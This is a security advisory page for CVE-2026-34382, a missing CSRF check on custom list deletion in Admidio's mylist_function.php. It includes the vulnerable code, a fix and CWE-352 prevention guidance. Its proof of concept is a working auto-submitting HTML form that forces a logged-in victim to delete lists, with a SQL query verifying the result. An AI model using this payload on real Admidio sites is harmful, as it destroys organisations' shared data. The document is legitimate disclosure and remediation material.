Skip to content

GHSA-g3mx-8jm6-rc85 CVE-2026-34382

Admidio has Missing CSRF Protections on Custom List Deletion in mylist_function.php

Medium Packagist
Severity
4.6 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.13%
Chance of exploitation in the next 30 days. Higher than 2.42% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
Fix
5.0.8
Upgrade admidio/admidio to this version or later

Description

Reported by: Juan Felipe Oz @JF0x0r

LinkedIn

Summary

The delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.

Vulnerable Code

File: modules/groups-roles/mylist_function.php

The CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:

// Line 81-82 — only runs for save modes
$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {
    throw new Exception('Invalid or missing CSRF token!');
}

<img width="857" height="162" alt="imagen" src="https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d" />

The delete case at lines 159–161 executes the destructive operation with no token check:

} elseif ($getMode === 'delete') {
    // delete list configuration
    $list->delete();  // no CSRF validation
    echo json_encode(array('status' => 'success', ...));
    exit();
}

<img width="560" height="133" alt="imagen" src="https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69" />

A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LAST_NAME is sufficient.

Impact

Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.


Proof of Concept

First my video PoC, after that, the proof of concept with detail.

Watch Video

  • Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)
  1. Step 1: Attacker serves this page from any HTTP origin:
<!DOCTYPE html>
<html>
<body>
  <form id="f" method="POST"
    action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID">
    <input type="hidden" name="column[]" value="LAST_NAME">
  </form>
  <script>document.getElementById('f').submit();</script>
</body>
</html>

Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?

  1. Step 2: Victim visits the attacker page while logged into Admidio.
  2. Step 3: Server responds immediately:
{"status":"success","url":".../modules/groups-roles/mylist.php"}
  1. Step 4: List is permanently deleted. Verified via:
SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';
-- Empty result set

No adm_csrf_token field is required anywhere in the request.

Recommendation Fix:

It's so simple.

  • Apply the same SecurityUtils::validateCsrfToken() pattern already used in the save modes:
} elseif ($getMode === 'delete') {
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $list->delete();
    echo json_encode(array('status' => 'success', ...));
    exit();
}

Additionally, the column[] input guard at lines 40–48 should be moved inside the in_array($getMode, ['save', 'save_as', 'save_temporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.

<img width="751" height="240" alt="imagen" src="https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8" />

Affected versions

Packagist

PackageVulnerableFixed in
admidio/admidio
>= 5.0.0, < 5.0.8
5.0.8

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

admidio/admidio Packagist → 5.0.8

composer
composer require admidio/admidio:^5.0.8

Severity breakdown

CVSS 3.1 4.6

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-hm42-q32m-vj4f
Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests
Medium Also affects admidio/admidio
GHSA-xw54-c3mx-9pm3
Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024
Medium Also affects admidio/admidio
GHSA-mch8-wf3h-6x88
Admidio writes session IDs and auto-login cookie values to application logs
Medium Also affects admidio/admidio
GHSA-4rgq-38mh-9xqg
Admidio PKCS#12 private key export action lacks CSRF protection
Medium Also affects admidio/admidio
GHSA-x628-457g-2pw9
Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders
High Also affects admidio/admidio
GHSA-q6w3-hpfv-rg36
Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders
Medium Also affects admidio/admidio
GHSA-xg76-5qj2-2hhv
Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation
Medium Also affects admidio/admidio
GHSA-mx25-j3rc-6w2w
Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords
Medium Also affects admidio/admidio
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor